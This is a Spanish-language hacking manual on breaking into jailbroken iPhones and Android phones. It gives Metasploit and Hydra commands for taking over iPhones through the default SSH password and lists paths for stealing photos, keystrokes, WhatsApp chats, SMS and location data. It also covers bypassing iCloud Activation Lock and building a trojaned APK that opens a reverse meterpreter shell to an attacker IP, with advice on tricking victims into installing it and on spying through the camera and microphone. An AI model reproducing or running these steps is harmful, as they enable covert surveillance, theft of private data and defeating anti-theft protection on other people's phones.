[Título del documento] -Hackeo de dispositivos iOS -Hackeo de dispositivos Android
Manual elaborado por: Gonzalo Sánchez (Drummer Wolf)
Hackeo de dispositivos iOS y Android
INTRODUCCIÓN: Explotando el sistema iOS Hoy en día los teléfonos móviles almacenan muchísima información nuestra, cuentas de correo, redes sociales, historial de internet... Ha habido casos muy sonados de famosos a los que les han robado fotos íntimas de sus smartphones y las han subido a Internet sin que las víctimas se dieran cuenta de nada. Hay más métodos, pero lo que vas a encontrar aquí podría ser perfectamente una técnica válida para llevar a cabo eso. En este paper simplemente quiero demostrar lo peligroso que es estar conectado a una red Wifi con un dispositivo iOS con OpenSSH activado. Para llevar a cabo este ataque necesitamos dos cosas en el dispositivo víctima:
.
1- Que tenga jailbreak
.
2- Que tenga instalado OpenSSH, la mayoría de la gente que ha realizado jailbreak lo tiene instalado por comodidad.
El gran problema: OpenSSH sin configurar. Mucha gente, sobre todo gente no muy familiarizada con el mundo de la seguridad informática, se olvida de algo muy, muy importante que es cambiar la contraseña por defecto (es lo más básico, aunque hacer sólo eso no te garantiza ser inmune a un ataque. Datos por defecto del OpenSSH: Usuario: root Password: alpine A esto hay que sumarle que por defecto OpenSSH se queda activado cuando se activa el Wifi. Mucha gente lo instala y se le olvida que lo tiene ahí. Eso es muy peligroso y va a ser la base de nuestro ataque. Ya se podrán imaginar todo lo que podemos hacer entrando a un dispositivo iOS con privilegios de super-usuario ;)
Gonzalo Sánchez Suárez - Drummer Wolf
2
Hackeo de dispositivos iOS y Android
TEMA 1. Explotando vulnerabilidad al SSH de un iDevice con Jailbreak Herramientas a utilizar: -Consola -Metasploit -SQLiteManager -Nmap o Zenmap -Fing app (iOS o Android) -SSH Dispositivo con el que se realizará la prueba: -iPhone 5s (iOS 7.0.4)
Gonzalo Sánchez Suárez - Drummer Wolf
3
Hackeo de dispositivos iOS y Android
1.Escaneando la red. Para poder identificar si dentro de nuestra red se encuentra conectado un dispositivo iOS al que podamos intentar vulnerar necesitaremos hacer un escaneo de la misma, para lo cual podemos usar aplicaciones conocidas como escáneres de red. Haremos un escaneo con 2 herramientas muy útiles para nuestro propósito. Empezaremos con un programa llamado Zenmap, que es la GUI del conocido Nmap. (disponible para Windows, mac y Linux)
Gonzalo Sánchez Suárez - Drummer Wolf
4
Hackeo de dispositivos iOS y Android
Haremos un escaneo con detección de sistema operativo, para lo cual seleccionaremos la opción de “Quick scan plus”, en el campo target colocaremos los 2 primeros octetos de nuestra dirección IP, y reemplazaremos los 2 octetos que seguirían por asteriscos (esto para poder tener un escaneo exitoso de la red local y asignarle el rango que va a tener que escanear el programa).
Por lo general este tipo de escaneos tiende a ser un poco tardado, sólo es cuestión de ser paciente y dejar que el programa haga lo suyo. Una vez terminado el escaneo, encontramos que hay un dispositivo con iOS dentro de nuestra red y que aparte está con el puerto 22 abierto corriendo el servicio de Open SSH. ¡QUE SUERTE! :D
Gonzalo Sánchez Suárez - Drummer Wolf
5
Hackeo de dispositivos iOS y Android
Como alternativa a Zenmap (Nmap) podríamos usar una app llamada “Fing” la cual está disponible tanto en la App Store como en la Google Play Store, la cual con solo un toque empezará a escanear nuestra red local en busca de todos los dispositivos conectados a la misma. De igual forma podremos encontrar los dispositivos iOS que estén conectados.
ANDROID
Gonzalo Sánchez Suárez - Drummer Wolf
iOS
6
Hackeo de dispositivos iOS y Android
Una vez que tenemos nuestro target que encontramos gracias a los escaneos procederemos a utilizar el framework metasploit para intentar vulnerar el Open SSH del dispositivo. 2. Vulnerando con metasploit Iniciamos el framework metasploit:
Gonzalo Sánchez Suárez - Drummer Wolf
7
Hackeo de dispositivos iOS y Android
Utilizaremos el siguiente exploit: msf > use exploit/apple_ios/ssh/cydia_default_ssh Lo configuraremos mediante los siguientes comandos: msf exploit(cydia_default_ssh) > show payloads msf exploit(cydia_default_ssh) > set PAYLOAD generic/shell_reverse_tcp msf exploit(cydia_default_ssh) > set LHOST [MI DIRECCIÓN IP] msf exploit(cydia_default_ssh) > set RHOST [DIRECCIÓN IP DE LA VÍCTIMA] msf exploit(cydia_default_ssh) > show options (revisamos los ajustes del comando antes de lanzarlo
Gonzalo Sánchez Suárez - Drummer Wolf
8
Hackeo de dispositivos iOS y Android
Una vez que todo está listo lanzamos el exploit: msf exploit(cydia_default_ssh) > exploit
Podemos observar que tuvimos un login exitoso con la contraseña ‘alpine’ Lo siguiente será acceder al ssh del dispositivo mediante la terminal con el siguiente comando:
ssh
[email protected] Nos pedirá la contraseña para el usuario root, la cual sabemos que es ‘alpine’ y una vez dentro pondremos en la consola ‘pwd’ para saber donde estamos situados:
CRACKEANDO PASSWORD OPENSSH Seguro que muchos se preguntarán, ¿y si la víctima ha cambiado la contraseña por defecto? Si la contraseña ha sido cambiada aún no está todo perdido, podemos intentar sacarla mediante un ataque por fuerza bruta. Si no se ha configurado correctamente OpenSSH (cosa que sólo hacen una minoría muy reducida de usuarios, seguramente por desconocimiento o simplemente por no complicarse la vida), es posible sacar las contraseñas por fuerza bruta ya que por defecto OpenSSH tiene comentada la directiva “#MaxAuthTries 6” (/etc/ssh/sshd_config) lo que nos viene a decir que un ataque por fuerza bruta es viable porque el número de intentos de login no está limitado.
Gonzalo Sánchez Suárez - Drummer Wolf
9
Hackeo de dispositivos iOS y Android
Para ello podemos usar aplicaciones como Hydra aunque si la contraseña es robusta será muy difícil de sacar. A continuación se hará un ataque de fuerza bruta al ssh del dispositivo iOS Para el ataque usaremos una herramienta llamada hydra en un versión GUI llamada xhydra, en este caso usaremos la distribución Kali Linux. 1. Abrimos el programa teclando “xhydra” en la consola
2. Procedemos a configurar la primer ventana del programa introduciendo la ip víctima, el puerto, el protocolo y que muestre los intentos (opcional).
Gonzalo Sánchez Suárez - Drummer Wolf
10
Hackeo de dispositivos iOS y Android
3. En la pestaña PASSWORDS configuraremos el nombre de usuario que en este caso es root y la ruta del archivo de diccionario que usaremos para el ataque.
4. Las siguientes pestañas las dejaremos tal y como están y enseguida nos dirigiremos a la pestaña de START y lanzaremos el ataque, si este llega a ser exitoso con algún password de la lista que utilizamos el programa nos lo indicará de inmediato.
Gonzalo Sánchez Suárez - Drummer Wolf
11
Hackeo de dispositivos iOS y Android
3. Postexplotación Una vez estando dentro del dispositivo víctima podremos hacer muchas cosas. Dentro de este curso daremos un recorrido rápido por las acciones más comunes que se podrían realizar desde un punto de vista de un hacker malicioso. Tecleando “help” dentro de la consola nos aparecerán una serie de comandos que podremos usar dentro de nuestro dispositivo, sin embargo, no vamos a profundizar en cada uno de ellos ya que es una lista larga.
Gonzalo Sánchez Suárez - Drummer Wolf
12
Hackeo de dispositivos iOS y Android
-Reiniciar el springboard (explorador de archivos por defecto) -Reiniciar el dispositivo Mediante estos comandos se reiniciará el explorador de archivos por defecto de iOS o el dispositivo mismo, según sea el caso. Lo cual después de realizar provocará que el dispositivo se vea algo mas o menos así.
Configurando el SSH: Para hacer esta documentación mas completa incluiré a continuación una forma rápida de activar ese servidor en la distribución “Kali Linux” y “Mac OS X” ya que esta herramienta nos servirá para extraer los archivos del dispositivo vulnerado. OK, empecemos con la configuración del servidor SSH. En mi caso estaré usando una máquina virtual de Kali Linux.
Gonzalo Sánchez Suárez - Drummer Wolf
13
Hackeo de dispositivos iOS y Android
Primero necesitarás verificar si tu máquina tiene activo algún servicio de SSH activo, para lo cual pondremos el siguiente comando en la consola:
root@Kali:~# service --status-all Si SSH muestra un signo negativo “-“ significa que no está activo o no está instalado
Ahora escribimos root@kali~:# apt-get install openssh-server desde la terminal para instalar el servidor y openssh-client para instalar el cliente
En este caso ya estaba instalado previamente el servidor y el cliente. Para iniciar los servicios SSH pondremos en la consola root@kali~# service ssh start y para checar que el servicio esté activo pondremos root@kali~# service ssh status
Gonzalo Sánchez Suárez - Drummer Wolf
14
Hackeo de dispositivos iOS y Android
Listo, con eso tenemos el servidor SSH funcionando en Kali Linux
-Iniciar el servidor SSH en Mac OS X: Abriremos “Preferencias del sistema”, enseguida daremos click en el panel de “Compartir” y habilitaremos la pestaña de “Sesión remota” y listo!, el servidor SSH ya está funcionando en tu Mac.
Gonzalo Sánchez Suárez - Drummer Wolf
15
Hackeo de dispositivos iOS y Android
Ahora empezaremos por visitar los directorios interesantes dentro del dispositivo: 1. Fotos y videos Desde la siguiente ruta podemos ver todas las fotos y vídeos almacenados en el dispositivo. /private/var/mobile/Media/DCIM/100APPLE ¿Te gustaría robar alguna foto del dispositivo? VAMOS A ELLO! Una vez dentro de la ruta de fotos y videos podremos obtener todos los que queramos simplemente usando el comando para transferencia de archivos mediante SSH como mencionamos anteriormente. Accediendo a la ruta que mencionamos anteriormente, mediante un ls nos mostrará los nombres de los archivos contenidos en la carpeta, en este caso robaremos la última foto tomada por el usuario.
Por comodidad abriremos otra ventana de consola y enseguida pondremos el siguiente comando: scp -r [[usuario root del iOS]] @[[dirección ip del ssh de la víctima]]:/ruta/del/archivo/que/queremos/extraer.JPG /ruta/donde/lo/pegaremos Quedando en este ejemplo algo así: scp -r
[email protected]:/private/var/mobile/Media/DCIM/101APPLE/IMG_1959.JPG /Users/drummerwolf/desktop/hack
Una vez terminada la transferencia revisamos nuestra carpeta de destino donde elegimos guardar la foto y listo, de la misma forma pueden seguir robando mas fotos o videos:
Gonzalo Sánchez Suárez - Drummer Wolf
16
Hackeo de dispositivos iOS y Android
2. Keylogger Algo muy interesante, iOS almacena en texto plano una especie de registro con las palabras usadas, algo sin duda muy útil si estamos en busca de contraseñas ;) La ruta donde se encuentra estos archivos es: /private/var/mobile/Library/Keyboard/es_ES-dynamic-text.dat y dentro de ella podremos encontrar los archivos es_ES-dynamic-text.dat y dynamic-text.dat Usaremos el mismo comando del ejemplo pasado para extraer los archivos y veamos que contienen.
Gonzalo Sánchez Suárez - Drummer Wolf
17
Hackeo de dispositivos iOS y Android
Abriendo el archivo con un editor de texto nos muestra en texto plano las palabras que se han escrito desde el teclado del dispositivo (por privacidad esta imagen la puse borrosa)
3. Navegador Web (Safari) En la siguiente ruta podremos encontrar el historial de navegación de safari y con ello muchos datos que pueden resultar interesantes: /private/var/mobile/Library/Safari/History.plist En versiones recientes de iOS ese archivo ya no se encuentra en esa ruta, sin embargo, aún podemos encontrar la base de datos de los marcadores con el nombre de Bookmarks.db
Gonzalo Sánchez Suárez - Drummer Wolf
18
Hackeo de dispositivos iOS y Android
Una vez extraido el archivo según sea el caso, lo abriremos con un gestos de bases SQLite y observaremos algo así:
4. Base de datos Whats App Mucho ha dado que hablar últimamente WhatsApp sobre el tema de seguridad y es que WhatsApp almacena la información en iOS en una base de datos SQLite que se encuentra en la siguiente ruta con lo que cualquiera podría ver con quién hemos chateado, lo que hemos escrito etc. Para abrir la base de datos he utilizado SQLite Manager.
/private/var/mobile/Applications/(cadena que varía)/Documents/ChatStorage.sqlite *Lo que se refiere a la “cadena que varía” es un valor alfanumérico que el sistema le asigna a las carpetas que contienen a las aplicaciones, guardándolas de esta forma dentro del sistema y no con sus nombres originales* En este caso la cadena que corresponde a la carpeta donde está la app de whats app (en el caso de mi dispositivo) es la siguiente: C09C0065-B57C-4DF7-BB4A-6A397EA72474
Gonzalo Sánchez Suárez - Drummer Wolf
19
Hackeo de dispositivos iOS y Android
Y aquí un ejemplo de cómo se ve la base de datos de las conversaciones:
Si seguimos mirando más tablas podemos ver todo: contactos, números de teléfono, mensajes enviados y recibidos, las fechas.... Tambien encontramos que hay otra base sqlite con todos los contactos en la misma ruta pero con el nombre de Contacts.sqlite
Gonzalo Sánchez Suárez - Drummer Wolf
20
Hackeo de dispositivos iOS y Android
También podremos usar una herramienta web para interpretar la base de datos sqlite sin necesidad de tener un programa. En la página de http://www.recovermessages.com podremos subir nuestra bd y se generarán las tablas con la información correspondiente y lo mejor es que no solo nos sirve para interpretar la base de datos del whatsapp sino también las bases de: WhatsApp Android, WhatsApp IPhone, Tuenti IPhone, SpotBros IPhone, Line IPhone, SMS Android, SMS IPhone, EMails Android, EMails IPhone.
Gonzalo Sánchez Suárez - Drummer Wolf
21
Hackeo de dispositivos iOS y Android
5. Twitter En el siguiente archivo podemos obtener datos datos como nombre de usuario en twitter, últimas búsquedas y tweets... /private/var/mobile/Applications/(ruta que varía)/Library/Preferences\com.atebits.Tweetie2.plist
6. SMS (iPhone) /private/var/mobile/Library/SMS sms.db 7. Localizaciones /private/var/root/Library/Caches/locationd/consolidate.db 8. Mails /private/var/mobile/Library/Mail 9. Preferencias de aplicaciones /private/var/mobile/Library/Preferences 10. Lista de contactos /private/var/mobile/Library/AddressBook
Y muchas más rutas!!! Esto es solo un pequeño ejemplo de algunas cosas que podemos ver. Por supuesto hay muchas más rutas y si las mirásemos todas estaríamos aquí un buen rato así que aquí sólo les dejé algunas de las más interesantes, si quieren obtener mas, sería cuestión de que ustedes mismos investiguen.
Gonzalo Sánchez Suárez - Drummer Wolf
22
Hackeo de dispositivos iOS y Android
TEMA 2. Borrado de la cuenta iCloud
Mucho se ha hablado sobre la posibilidad de quitar el famoso sistema de seguridad dentro de iOS 7 que consiste en el bloqueo del equipo que corra dicho sistema mediante la cuenta iCloud del usuario dueño. En muchos sitios en internet se especula sobre diversos métodos y herramientas para lograr burlar o desactivar este bloqueo. En las siguientes páginas se mostrarán algunos de ellos, así como, los bugs dentro de iOS 7 que te permitirán borrar las cuentas de iCloud sin necesidad de usar ningún tipo de tolos. 2.1 Método “hacktivate” (compatible únicamente con iPhone 4) Este método se basa en la utilización de una herramienta que mediante el uso del modo DFU del iPhone 4 se explota una vulnerabilidad en el procesador del dispositivo teniendo la posibilidad de instalarle el servidor ssh y de esa forma borrar los archivos de configuración donde se encuentra almacenada la cuenta iCloud. Cabe aclarar que este método se realizará dentro del sistema operativo Windows. EMPECEMOS!
1. Deberás desactivar tu antivirus & firewall o de lo contrario tu computadora borrará los archivos necesarios para continuar con el proceso. Una vez terminado el desbloqueo si tu gustas puedes desisnstalar la herramienta utilizada sin ningún contratiempo (si no, tu antivirus lo hará).
Gonzalo Sánchez Suárez - Drummer Wolf
23
Hackeo de dispositivos iOS y Android
2. Descarga e instala la tool “iOS Soft Dev Pack + JB iOS 7.1 V2” y ejecútala. (para realizar la instalación de la tool es necesario contar con .net framework 3.5 o superior instalado) Seleccionamos
y enseguida seleccionaremos la primera opción. 3. Conecta tu iPhone en modo DFU (apretando los botones de encendido y home al mismo tiempo durante 10 segundos, soltamos el botón de encendido después de 2 segundos y seguimos apretando el botón de home durante otros 30 segundos), después de esto el programa detectará tu dispositivo e iniciará con la explotación.
Gonzalo Sánchez Suárez - Drummer Wolf
24
Hackeo de dispositivos iOS y Android
4. Una vez terminada la explotación, aparecerán unas letras verdes de que fue exitoso, posteriormente sleccionaremos la segunda opción que se encargará de hacer la conección al ssh. (Si por alguna razón al realizar este paso les llega a marcar un error que diga algo como “could not moun system …” simplemente vuélvan a dar click a la opción 2.)
5. Procedemos a dar click en la opción 3 para ejecutar la hacktivate tool
Gonzalo Sánchez Suárez - Drummer Wolf
25
Hackeo de dispositivos iOS y Android
6. Una vez terminado el proceso anterior el iPhone se pondrá en modo de recuperación y solo tendrán que pulsar la opción 4 para salir del mismo.
Como una recomendación les aconsejo desinstalar la herramienta utilizada para todo el proceso. Si realizaron todos los pasos correctamente ahora podrán configurar su iPhone como si fuera un dispositivo nuevo, Felicidades!!!
Gonzalo Sánchez Suárez - Drummer Wolf
26
Hackeo de dispositivos iOS y Android
Uno de las consecuencias conocidas por la realización del método “hacktivate” es que el iPhone se quedará sin la posibilidad de conectarse a las redes celulares. Algún precio se tenía que pagar por semejante activación, no todo es miel sobre hojuelas.
2.2 Borrado de cuenta iCloud mediante bug en iOS versiones 7.0.4 – 7.0.6 y 7.1 (compatible con iPhone 4,4s,5 y 5s) Muchas veces me han preguntado si es posible borrar la cuenta iCloud de un iPhone sin necesidad de la contraseña y si este no tiene algún patrón de bloqueo o no se ha intentado restaurar anteriormente. La respuesta es SI, si por azares del destino te llegaron a vender un iPhone y el dueño anterior no le borró su cuenta de iCloud pero te lo dejó sin patrón de desbloqueo será posible para ti explotar esta vulnerabilidad dentro de iOS 7.0.4 , 7.0.6 y 7.1 -Borrando cuenta iCloud en iOS 7.1 en iphone 4 y 4s Nos dirigiremos a configuración y posteriormente a la pestaña de iCloud No es un método fácil de reproducir, ya que hay que sincronizar la petición de "borrar cuenta" junto con el botón de Deshabilitar Find My iPhone al mismo tiempo. Una vez que se pida la contraseña, es necesario apagar y volver a encender el dispositivo. Una vez hecho esto, se podrá borra la cuenta de Apple iCloud sin contraseña. Se detalla un poco en las capturas a continuación.
Gonzalo Sánchez Suárez - Drummer Wolf
27
Hackeo de dispositivos iOS y Android
Como se menciona en el texto anterior, se tiene que seleccionar al mismo tiempo las opciones de desactivar “Find my iPhone” y “Delete Account”
Posteriormente aparecerá una pantalla como esta donde parecieran estar amontonadas las opciones de desactivar Find my iPhone con la de borrar la cuenta iCloud, felicidades, si te apareció algo como esto lo único que tienes que hacer es reiniciar el dispositivo, (en este punto podremos notar que la opción de Find my iPhone ya se encuentra desactivada) nos dirigiremos de nuevo a la configuración de iCloud y ahora seleccionaremos “Eliminar cuenta” si lo notas ahora no nos pedirá la contraseña de la cuenta iCloud para eliminarla e incluso la medida de seguridad conocida como “Activation Lock” también desaparecerá.
Gonzalo Sánchez Suárez - Drummer Wolf
28
Hackeo de dispositivos iOS y Android
-Borrando cuenta iCloud en iOS 7.0.6 en iphone 5, 5c y 5s Accedemos a la configuración del dispositivo y en la pestaña de iCloud, este glitch es algo complicado de reproducir, se requiere que primero deslices con el dedo la opción de desactivar “Find my iPhone” y sin soltarlo aprietes el botón de “borrar cuenta”, algo así.
El botón del switch se quedará “a medias”
Posteriormente presionaremos Delete Account, enseguida Delete otra vez, muy importante, durante la animación en la que aparece la segunda opción para confirmar el borrado de la cuenta es necesario mover el switch de “find my iPhone” como si lo fueramos a DESACTIVAR, y una vez presionado “Delete from My iPhone” hacer lo mismo. Cuando el sistema te pida la contraseña daremos en cancel y si hiciste bien el procedimiento ahora el switch de Find my iPhone quedará parcialmente desactivado
Gonzalo Sánchez Suárez - Drummer Wolf
29
Hackeo de dispositivos iOS y Android
Lo siguiente que tendremos que hacer será entrar a la pestaña de la cuenta iCloud donde se encuentra el correo y la contraseña. Borraremos el password y la palabra iCloud y apretaremos en “done”, nos mandará un mensaje de error y repetiremos este procedimiento 2 veces en total. Una vez terminado daremos en “cancel”
Enseguida volveremos a entrar a esa pestaña y escribiremos en el espacio que quedó en blanco la palabra iCloud y listo, cuando quieran borrar la cuenta iCloud del dispositivo no deberá ser necesario introducir la contraseña.
Gonzalo Sánchez Suárez - Drummer Wolf
30
Hackeo de dispositivos iOS y Android
-Borrando cuenta iCloud en iOS 7.0.4 en iphone 4, 4s, 5, 5c y 5s Accedemos a la configuración del dispositivo y en la pestaña de iCloud accedemos a los datos de la cuenta, borramos el password y tecleamos cualquier palabra, apretamos “done”, cuando nos aparezca el mensaje de contraseña incorrecta daremos en OK y enseguida en “Cancel”
Volvemos a entrar a la pestaña per ahora borraremos la palabra iCloud y dejaremos el espacio en blanco, una vez que apretemos “done” podremos observar que el switch de “Find my iPhone” estará desactivado y que incluso podremos borrar la cuenta iCloud sin necesidad de la contraseña
Gonzalo Sánchez Suárez - Drummer Wolf
31
Hackeo de dispositivos iOS y Android
MODULO 2: Hackeo de dispositivos Android Ataque a dispositivos Android con metasploit En este tema haremos una explotación a un dispositivo Android por medio de una aplicación (.apk) creada mediante el framework de metasploit. 1. Iniciamos abriendo nuestra consola de Metasploit
2. Verificamos los exploits y módulos disponibles teclando search android :
Si contamos con los payloads correspondientes a android podremos continuar, de lo contrario necesitaremos actualizar metasploit. Gonzalo Sánchez Suárez - Drummer Wolf
32
Hackeo de dispositivos iOS y Android
Enseguida empezaremos el procedimiento para crear un .apk con infección para obtener una Shell meterpreter de manera local y remota.
1.-Entramos en la carpeta de instalación de metasploit , en este caso la ruta de instalación en mi computadora es la siguiente “/opt/msf”.
2. Tengamos en cuenta los datos de conexión que usaremos para la creación de nuestra .apk.
IP DEL ATACANTE : 10.210.45.38 (mi ip) PUERTO ATACANTE : 6789 3. Una vez en la carpeta de instalación de Metasploit usaremos el siguiente comando
“./msfpayload android/meterpreter/reverse_tcp LHOST=IP_LOCAL/NO-‐IP LPORT=PUERTO R > /RUTA/nombre_de_la_app.apk” “./msfpayload android/meterpreter/reverse_tcp LHOST=10.210.45.38 LPORT=6789 R > /Users/Drummerwolf/Desktop/hack/ hacking_mexico.apk” 4. La .apk ha sido creada
Gonzalo Sánchez Suárez - Drummer Wolf
33
Hackeo de dispositivos iOS y Android
5. En este caso para la explotación usaremos un dispositivo Android xperia pro modelo mk16a.
6. Instalación del .apk infectado Esta es la parte mas esencial para la explotación, será necesario que el atacante tenga la suficiente creatividad y sea muy bueno aplicando la ingeniería social. Una de las formas puede ser mandar por correo la aplicación, convencer a la víctima que con esta aplicación tendrá internet 3g gratis, que esta aplicación hace mas rápido su dispositivo, etc etc. Incluso si nos fuéramos mas a fondo podríamos hacer la decompilación de la .apk e introducir su código dentro de alguna otra aplicación cualquiera, por ejemplo, introducir el Gonzalo Sánchez Suárez - Drummer Wolf
34
Hackeo de dispositivos iOS y Android
código de la .apk infecciosa dentro del código de wifi test auditor (app para sacar claves wifi) subirla a play store o subirla a algún servicio como mega, dropbox etc y difundirla para que esta sea instalada pensando que es como cualquier otra app inofensiva. Este paso lo dejaré a la creatividad y habilidad del lector.
7. El proceso de instalación de la .apk infectada será como el de cualquier otra aplicación.
8. Continuamos Posicionados en la carpeta de instalación y procedemos a ejecutar el siguiente comando.
“./msfcli exploit/multi/handler PAYLOAD=android/meterpreter/reverse_tcp LHOST=IP_LOCAL/NO-‐IP LPORT=PUERTO E “ “./msfcli exploit/multi/handler PAYLOAD=android/meterpreter/reverse_tcp LHOST=10.210.45.38 LPORT=6789 E “ (Si la app fue ejecutada dentro del dispositivo infectado debemos tener éxito al ejecutar el comando) Gonzalo Sánchez Suárez - Drummer Wolf
35
Hackeo de dispositivos iOS y Android
Para darnos una idea de lo que podemos ejecutar dentro de la Shell meterpreter teclearemos el comando help
meterpreter > help Core Commands ============= Command ------? background
Description ----------Help menu Backgrounds the current session
bgkill
Kills a background meterpreter script
bglist
Lists running background scripts
bgrun
Executes a meterpreter script as a background thread
channel
Displays information about active channels
close
Closes a channel
disable_unicode_encoding Disables encoding of unicode strings enable_unicode_encoding Enables encoding of unicode strings exit
Terminate the meterpreter session
help
Help menu
info
Displays information about a Post module
interact irb
Interacts with a channel Drop into irb scripting mode
load
Load one or more meterpreter extensions
quit
Terminate the meterpreter session
read resource run
Reads data from a channel Run the commands stored in a file Executes a meterpreter script or Post module
Gonzalo Sánchez Suárez - Drummer Wolf
36
Hackeo de dispositivos iOS y Android
use
Deprecated alias for 'load'
write
Writes data to a channel
Stdapi: File system Commands ============================ Command
Description
-------
-----------
cat
Read the contents of a file to the screen
cd
Change directory
download edit
Download a file or directory Edit a file
getlwd
Print local working directory
getwd
Print working directory
lcd
Change local working directory
lpwd ls
Print local working directory List files
mkdir
Make directory
pwd
Print working directory
rm
Delete the specified file
rmdir
Remove directory
search
Search for files
upload
Upload a file or directory
Stdapi: Networking Commands =========================== Command
Description
-------
-----------
ifconfig
Display interfaces
ipconfig
Display interfaces
Gonzalo Sánchez Suárez - Drummer Wolf
37
Hackeo de dispositivos iOS y Android
portfwd
Forward a local port to a remote service
route
View and modify the routing table
Stdapi: System Commands ======================= Command -------
Description
-----------
execute
Execute a command
getuid
Get the user that the server is running as
ps
List running processes
shell
Drop into a system command shell
sysinfo
Gets information about the remote system, such as OS
Stdapi: Webcam Commands ======================= Command -------
Description
-----------
record_mic
Record audio from the default microphone for X seconds
webcam_list List webcams webcam_snap Take a snapshot from the specified webcam
Comando “webcam_list” , para listar las cámaras web en el dispositivo.
Comando “webcam_snap” , para tomar una foto en tiempo real con el Gonzalo Sánchez Suárez - Drummer Wolf
38
Hackeo de dispositivos iOS y Android
dispositivo.
Comando “ifconfig” , para revisar las interfaces de red y la mac address del equipo.
Comando “record_mic” , para grabar audio con el dispositivo :
Gonzalo Sánchez Suárez - Drummer Wolf
39
Hackeo de dispositivos iOS y Android
Comando “ps” , para listar los procesos que están corriendo en el dispositivo.
Comando “ls” , para listar los archivos. Comando “pwd” , para ver en que carpeta o phat estamos posicionados. Ahora robaremos algunas fotos:
Nos posicionamos en la ruta “/mnt/sdcard/DCIM/100ANDRO” que es donde en este caso mi dispositivo almacena las fotos
Gonzalo Sánchez Suárez - Drummer Wolf
40
Hackeo de dispositivos iOS y Android
Ahora descargaremos una foto a nuestro escritorio mediante el comando “download”. meterpreter > download 01.jpg /Users/drummerwolf/Desktop/hack/ meterpreter > download 01.jpg /tu_/ruta/
Gonzalo Sánchez Suárez - Drummer Wolf
41